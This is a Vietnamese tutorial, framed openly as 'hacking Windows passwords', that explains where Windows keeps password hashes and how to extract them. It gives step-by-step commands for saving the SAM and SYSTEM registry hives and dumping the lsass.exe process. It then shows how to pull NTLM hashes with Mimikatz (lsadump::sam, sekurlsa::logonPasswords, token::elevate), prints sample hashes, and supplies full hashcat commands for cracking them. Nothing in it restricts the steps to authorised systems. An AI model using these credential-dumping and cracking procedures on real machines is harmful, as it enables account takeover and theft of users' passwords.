Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz
Trong bài viết này, chúng ta sẽ tìm hiểu nơi lưu trữ mật khẩu người dùng trong Windows, và cách trích xuất dữ liệu để Hack Password Windows từ bộ nhớ RAM. Ngoài ra bạn sẽ hiểu thêm cách hack mật khẩu người dùng và tìm hiểu xem tấn công Pass the hash là gì?
Không phải ai cũng sử dụng mật khẩu trên Windows – đặc biệt hiếm khi người dùng đặt mật khẩu trên máy tính ở nhà. Nhưng trong công ty hoặc khi sử dụng Windows làm máy chủ, đặt mật khẩu là điều bắt buộc. Một thuộc tính thú vị khác của mật khẩu Windows là nếu người dùng có tài khoản Microsoft trực tuyến, chuỗi băm mật khẩu vẫn được lưu trữ trên máy tính cục bộ và mật khẩu được giải mã có thể được sử dụng để đăng nhập cho cả máy tính cục bộ và các dịch vụ trực tuyến của Microsoft.
Windows lưu trữ mật khẩu đăng nhập của người dùng ở đâu?
Mật khẩu người dùng Windows được lưu trữ trong Windows registry có tên là SYSTEM và SAM trong các tệp:
- C:/Windows/System32/config/SAM
- C:/Windows/System32/config/SYSTEM
Thay vì lưu trữ mật khẩu văn bản thuần túy, Windows lưu trữ mật khẩu theo mã băm. Những hàm băm này có thể bị brute-forced một cách dễ dàng. Nhưng ngay cả khi không bị bẻ khóa, hàm băm mật khẩu Windows vẫn có thể được sử dụng để thu thập dữ liệu và thực hiện các cuộc tấn công.
Cách lấy mã băm mật khẩu Windows
Dump mã băm mật khẩu trên máy tính đang chạy
Trên hệ thống đang chạy, bạn sẽ khá khó khăn trong việc truy cập các tệp C:/Windows/System32/config/SAM và C:/Windows/System32/config/SYSTEM, mặc dù điều này là có thể. Để lưu bản sao của những tệp này, bạn có thể sử dụng tiện ích reg:
reg save HKLMSYSTEM SystemBkup.hiv
reg save HKLMSAM SamBkup.hiv
Trong một số hướng dẫn, thay vì SYSTEM, SECURITY đã được lưu – đây là một sai lầm, bạn không thể khôi phục hàm băm với SECURITY và SAM, chúng ta chỉ cần SYSTEM và SAM!
Mật khẩu băm cũng được chứa trong RAM, cụ thể là trong Local Security Authority Process (lsass.exe). Quá trình này luôn được khởi chạy trong Windows và bạn có thể kết xuất nó (một bản sao của quá trình trong RAM được lưu vào đĩa dưới dạng tệp). Bạn có thể sử dụng các tiện ích khác nhau để kết xuất, bao gồm hai tiện ích chính thức bên dưới:
- Procdump
- Task Manager
Để mở Task Manager, hãy nhấn Win + r và nhập taskmgr, sau đó nhấn ENTER. Hoặc, nhấp chuột phải vào taskbar và chọn “Task Manager”.
Trong Task Manager, trong phần “Windows Processes”, nhấp chuột phải vào “Local Security Authority Process“và chọn “Create Dump File”.
Tệp sẽ được lưu theo đường dẫn C:UsersUSERNAMEAppDataLocalTemplsass.DMP. Thay chỗ USERNAME bằng tên người dùng của bạn.
Dump mã băm mật khẩu trên máy tính đã tắt
Trên máy tính đã tắt, để lấy lại mật khẩu của người dùng sau này, bạn chỉ cần sao chép các tệp:
- C:/Windows/System32/config/SAM
- C:/Windows/System32/config/SYSTEM
Các tệp tương tự có thể được tìm thấy trong bản sao lưu Windows hoặc trong bản sao Shadow của đĩa hoặc bạn có thể sao chép nó bằng cách khởi động từ USB Live.
Sự khác biệt giữa hàm băm NTLM và NTLMv1/v2 và Net-NTLMv1/v2
Trên thực tế, NTLM và NTLMv1/v2 là những thứ khá khác nhau. Hàm băm NTLM được lưu trữ và sử dụng cục bộ và các hàm băm NTLMv1/NTLMv2 được sử dụng để xác thực mạng và được lấy từ hàm băm NTLM. Sử dụng bất kỳ hàm băm nào trên đây, bạn cũng có thể giải mã mật khẩu người dùng Windows, nhưng đây là các thuật toán mã hóa/bẻ khóa khác nhau.
Đối với Pass-the-hash, mình chỉ sử dụng hàm băm NTLM vì các hàm băm NTLMv1 / NTLMv2 không phù hợp.
Có một câu hỏi nữa là băm Net-NTLMv1 / v2 là gì. Hàm băm Net-NTLMv1/v2 là tên viết tắt của hàm băm NTLMv1/v2, tức là NTLMv1/v2 và Net-NTLMv1/v2 giống nhau. Còn NTLM thì khác.
Trong bài viết này, mình sẽ giải nén, bẻ khóa và khai thác mà không cần brute-force hàm băm NTLM.
Mimikatz là gì?
Mimikatz nổi tiếng với khả năng trích xuất mật khẩu ở dạng văn bản thuần túy (plain text), mã băm, mã PIN và kerberos từ RAM. Mimikatz cũng có thể thực hiện các cuộc tấn công pass-the-hash, pass-the-ticket hoặc xây dựng Golden tickets.
Đây là những cách triển khai mimikatz trong Meterpreter & Metasploit, phản chiếu DLL trong PowerShell. Mimikatz có thể chạy trong Wine trên Linux, nhưng các chức năng liên quan đến trích xuất dữ liệu trực tiếp từ Windows sẽ không hoạt động; các chức năng để giải nén hàm băm từ kết xuất hoặc giải mã từ tệp đăng ký (registry files) vẫn sẽ hoạt động trên Linux.
Cách cài đặt mimikatz trên Windows
Mimikatz là một tiện ích dòng lệnh di động. Tức là, bạn không cần cài đặt nó.
1. Truy cập trang chủ của mimikatz, tải xuống tệp mimikatz_trunk.7z hoặc mimikatz_trunk.zip. Và giải nén nó.
2. Mở PowerShell (Win + x → Windows PowerShell (administrator)) hoặc command line (Win + r → cmd).
3. Tại dấu nhắc lệnh, sử dụng lệnh cd để điều hướng đến thư mục có tệp mimikatz.exe. Ví dụ: tệp lưu trữ được giải nén vào thư mục C:UsersMiAlDownloads, vậy thì tệp chúng ta cần tìm sẽ nằm trong thư mục C:UsersMiAlDownloadsmimikatz_trunkx64:
cd
C:UsersMiAlDownloadsmimikatz_trunkx64
4. Chạy mimikatz:
.mimikatz.exe
Cách giải nén hàm băm mật khẩu người dùng NTLM từ các tệp registry
Các lệnh sau phải được thực hiện trong bảng điều khiển mimikatz.
Lệnh log cho phép ghi tất cả đầu ra vào một FILE:
log FILE
Ví dụ: để ghi tất cả đầu ra vào tệp hash.txt:
log
hash
.txt
Mình đã sao chép các tệp SYSTEM và SAM từ máy tính đã tắt, bây giờ để giải nén hàm băm, mình cần chạy một lệnh có dạng:
lsadump::sam
/system
:C:......SYSTEM
/sam
:C:......SAM
Một ví dụ về lệnh của mình:
lsadump::sam
/system
:C:Share-ServerfilesSYSTEM
/sam
:C:Share-ServerfilesSAM
Kết quả:
Kết quả rất nhiều dữ liệu. Nhưng thứ chúng ta cần quan tâm là các dòng tuần tự có dạng:
- User: USERNAME
- Hash NTLM: HASH
Trong ví dụ trên, thì các dòng này có kết quả là:
- User: ShareOverlord
- Hash NTLM: 7ce21f17c0aee7fb9ceba532d0546ad6
- User: Alexey
- Hash NTLM: ca76a176340f0291e1cc8ea7277fc571
Ngoài ra còn có các dòng chứa tên người dùng:
- User: MiAl
- User: Администратор
Nhưng sau không có chuỗi nào với hàm băm NTLM, bởi vì những người dùng này không có mật khẩu trong hệ thống.
Nếu bạn muốn trích xuất dữ liệu từ các tệp registry của hệ điều hành hiện tại, hãy thoát mimikatz, bằng cách nhấn Ctrl + C.
Bây giờ chúng ta sẽ kết xuất tổ hợp registry SYSTEM và SAM của hệ thống hiện tại:
reg save HKLMSYSTEM SystemBkup.hiv
reg save HKLMSAM SamBkup.hiv
Chạy lại mimikatz:
.mimikatz.exe
Chạy log:
log hash-local.txt
Và mình sẽ thực hiện lệnh chỉ ra các tệp mà các tổ hợp registry được lưu vào đó, đó là SystemBkup.hiv và SamBkup.hiv:
lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv
Kết quả:
Chỉ một người dùng có hàm băm được tìm thấy ở đây:
User: Администратор
Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f
Trên thực tế, để trích xuất các hàm băm NTLM từ hệ thống cục bộ, không cần thiết phải kết xuất tổ chức registry. Một tùy chọn khác là tăng các đặc quyền của chính chương trình mimikatz và trích xuất hàm băm trực tiếp từ hệ thống. Để thực hiện việc này, hãy chạy các lệnh:
privilege::debug
token::elevate
log hash-local2.txt
lsadump::sam
Cách giải nén hàm băm NTLM từ tệp lsass.DMP
Về mặt logic trong kết xuất của Local Security Authority Process chỉ nên là hàm băm của người dùng đã đăng nhập bằng mật khẩu.
Đầu tiên, chỉ định đường dẫn đến tệp kết xuất bằng lệnh:
sekurlsa::minidump C:pathtolsass.DMP
Ví dụ:
sekurlsa::minidump C:Share-Serverfileslsass.DMP
Sau đó chạy lệnh:
sekurlsa::logonPasswords
Cách Hack Password Windows bằng brute-force NTLM
Để thực hiện, mình sẽ sử dụng hàm băm sau:
User : Alexey
Hash NTLM: ca76a176340f0291e1cc8ea7277fc571
Hãy xem phần trợ giúp của Hashcat để tìm ra số chế độ băm NTLM:
1000 | NTLM | Operating Systems
Số băm NTLM là 1000 (chế độ băm).
Để khởi chạy một cuộc tấn công để bẻ khóa NTLM trong Hashcat, bạn cần chạy một lệnh có dạng:
hashcat -m 1000 -a 3 'HASH'MASK
Ví dụ:
hashcat --force --hwmon-temp-abort=100 -m 1000 -D 1,2 -a 3 -i --increment-min 1 --increment-max 10 -1 ?l?d ca76a176340f0291e1cc8ea7277fc571 ?1?1?1?1?1?1?1?1?1
Giải thích lệnh:
- hashcat là tên của tệp thực thi. Trên Windows, nó có thể hashcat64.exe.
- –force có nghĩa là bỏ qua các cảnh báo
- –hwmon-temp-abort=100 có nghĩa là thiết lập nhiệt độ tối đa, sau đó quá trình brute-force sẽ bị gián đoạn, khi nhiệt độ máy chạm mức 100 độ C
- -m 1000 nghĩa là kiểu băm NTLM
- -D 1,2 có nghĩa là sử dụng cả cpu và gpu cho brute-force
- -a 3 nghĩa là mask attack
- -i có nghĩa là tăng dần số lượng ký tự trong mật khẩu đã tạo
- –increment-min 1 có nghĩa là bắt đầu với chiều dài mask bằng một
- –increment-max 10 nghĩa là kết thúc tìm kiếm với độ dài mask là mười
- -1 ?l?d có nghĩa là bộ ký tự tùy chỉnh số 1, nó bao gồm các chữ cái Latinh nhỏ (?l) và số (?d)
- ca76a176340f0291e1cc8ea7277fc571 là mã băm để hack
- ?1?1?1?1?1?1?1?1?1 là một mask từ một bộ ký tự tùy chỉnh
Hãy giải mã thêm một hàm băm nữa:
User : Администратор
Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f
Bạn cũng dùng lệnh dưới đây:
hashcat --force --hwmon-temp-abort=100 -m 1000 -D 1,2 -a 3 -i --increment-min 1 --increment-max 10 -1 ?l?u?d 5187b179ba87f3ad85fea3ed718e961f ?1?1?1?1?1?1?1?1?1
Vậy là xong rồi đó.